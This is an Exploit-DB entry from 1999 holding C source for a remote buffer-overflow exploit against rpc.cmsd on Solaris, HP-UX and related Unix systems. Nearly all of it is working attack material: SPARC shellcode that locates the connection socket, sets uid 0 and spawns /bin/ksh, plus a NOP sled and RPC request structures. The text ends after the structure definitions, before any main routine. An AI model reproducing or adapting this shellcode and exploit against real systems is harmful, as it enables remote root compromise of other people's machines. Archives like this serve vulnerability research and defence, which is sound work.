Exploit-DB #19420
Description: Caldera OpenUnix 8.0/UnixWare 7.1.1 / HP HP-UX 11.0 / Solaris 7.0 / SunOS 4.1.4 - rpc.cmsd Buffer Overflow (1)
Type: remote
Platform: multiple
Date: 1999-07-13
Author: Last Stage of Delirium

Exploit:
// source: https://www.securityfocus.com/bid/524/info

There is a remotely exploitable buffer overflow vulnerability in rpc.cmsd which ships with Sun's Solaris and HP-UX versions 10.20, 10.30 and 11.0 operating systems. The consequence is a remote root compromise. 


/*## copyright LAST STAGE OF DELIRIUM jul 1999 poland        *://lsd-pl.net/ #*/
/*## rpc.cmsd                                                                #*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

#define ADRNUM 1500
#define NOPNUM 1600

#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_PING 0
#define CMSD_CREATE 21
#define CMSD_INSERT 6

char findsckcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <findsckcode-4>      */
    "\x20\xbf\xff\xff"     /* bn,a    <findsckcode>        */
    "\x7f\xff\xff\xff"     /* call    <findsckcode+4>      */
    "\xa0\x20\x3f\xff"     /* sub     %g0,-1,%l0           */
    "\xa4\x03\xff\xd0"     /* add     %o7,-48,%l2          */
    "\xa6\x10\x20\x44"     /* mov     0x44,%l3             */
    "\xa8\x10\x23\xff"     /* mov     0x3ff,%l4            */
    "\xaa\x03\xe0\x44"     /* add     %o7,68,%l5           */
    "\x81\xc5\x60\x08"     /* jmp     %l5+8                */

    "\xaa\x10\x20\xff"     /* mov     0xff,%l5             */
    "\xab\x2d\x60\x08"     /* sll     %l5,8,%l5            */
    "\xaa\x15\x60\xff"     /* or      %l5,0xff,%l5         */
    "\xe2\x03\xff\xd0"     /* ld      [%o7-48],%l1         */
    "\xac\x0c\x40\x15"     /* and     %l1,%l5,%l6          */
    "\x2b\x00\x00\x00"     /* sethi   %hi(0x00000000),%l5  */
    "\xaa\x15\x60\x00"     /* or      %l5,0x000,%l5        */
    "\xac\x05\x40\x16"     /* add     %l5,%l6,%l6          */
    "\xac\x05\xbf\xff"     /* add     %l6,-1,%l6           */
    "\x80\xa5\xbf\xff"     /* cmp     %l6,-1               */
    "\x02\xbf\xff\xf5"     /* be      <findsckcode+32>     */
    "\xaa\x03\xe0\x7c"     /* add     %o7,0x7c,%l5         */

    "\xe6\x23\xff\xc4"     /* st      %l3,[%o7-60]         */
    "\xc0\x23\xff\xc8"     /* st      %g0,[%o7-56]         */
    "\xe4\x23\xff\xcc"     /* st      %l2,[%o7-52]         */
    "\x90\x04\x3f\xff"     /* add     %l0,-1,%o0           */
    "\xaa\x10\x20\x54"     /* mov     0x54,%l5             */
    "\xad\x2d\x60\x08"     /* sll     %l5,8,%l6            */
    "\x92\x15\xa0\x91"     /* or      %l6,0x91,%o1         */
    "\x94\x03\xff\xc4"     /* add     %o7,-60,%o2          */
    "\x82\x10\x20\x36"     /* mov     0x36,%g1             */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "\xa0\x24\x3f\xff"     /* sub     %l0,-1,%l0           */
    "\x1a\xbf\xff\xe9"     /* bcc     <findsckcode+36>     */
    "\x80\xa4\x23\xff"     /* cmp     %l0,0x3ff            */
    "\x04\xbf\xff\xf3"     /* bl      <findsckcode+84>     */

    "\xaa\x20\x3f\xff"     /* sub     %g0,-1,%l5           */
    "\x90\x05\x7f\xff"     /* add     %l5,-1,%o0           */
    "\x82\x10\x20\x06"     /* mov     0x6,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "\x90\x04\x3f\xfe"     /* add     %l0,-2,%o0           */
    "\x82\x10\x20\x29"     /* mov     0x29,%g1             */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "\xaa\x25\x7f\xff"     /* sub     %l5,-1,%l5           */
    "\x80\xa5\x60\x03"     /* cmp     %l5,3                */
    "\x04\xbf\xff\xf8"     /* ble     <findsckcode+144>    */
    "\x80\x1c\x40\x11"     /* xor     %l1,%l1,%g0          */
;

char setuidcode[]=
    "\x90\x08\x3f\xff"     /* and     %g0,-1,%o0           */
    "\x82\x10\x20\x17"     /* mov     0x17,%g1             */
    "\x91\xd0\x20\x08"     /* ta      8                    */
;

char shellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>          */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>        */
    "\x90\x03\xe0\x24"     /* add     %o7,32,%o0           */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
    "\x98\x03\xe0\x24"     /* add     %o7,32,%o4           */
    "\xc0\x23\x20\x08"     /* st      %g0,[%o4+8]          */
    "\xd0\x23\x20\x10"     /* st      %o0,[%o4+16]         */
    "\xc0\x23\x20\x14"     /* st      %g0,[%o4+20]         */
    "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "/bin/ksh"
;

char cmdshellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <cmdshellcode-4>     */
    "\x20\xbf\xff\xff"     /* bn,a    <cmdshellcode>       */
    "\x7f\xff\xff\xff"     /* call    <cmdshellcode+4>     */
    "\x90\x03\xe0\x34"     /* add     %o7,52,%o0           */
    "\x92\x23\xe0\x20"     /* sub     %o7,32,%o1           */
    "\xa2\x02\x20\x0c"     /* add     %o0,12,%l1           */
    "\xa4\x02\x20\x10"     /* add     %o0,16,%l2           */
    "\xc0\x2a\x20\x08"     /* stb     %g0,[%o0+8]          */
    "\xc0\x2a\x20\x0e"     /* stb     %g0,[%o0+14]         */
    "\xd0\x23\xff\xe0"     /* st      %o0,[%o7-32]         */
    "\xe2\x23\xff\xe4"     /* st      %l1,[%o7-28]         */
    "\xe4\x23\xff\xe8"     /* st      %l2,[%o7-24]         */
    "\xc0\x23\xff\xec"     /* st      %g0,[%o7-20]         */
    "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "/bin/ksh    -c  "
;

static char nop[]="\x80\x1c\x40\x11";

typedef struct{char *target,*new_target;}req1_t;

typedef struct{
    struct{long tick,key;}appt_id;
    void *tag;
    int duration,ntimes;
    char *what;
    struct{int period,nth;long enddate;}period;
    char *author,*client_data;
    void *exception,*attr;
    int appt_status,privacy;
    void *next;
}appt_t;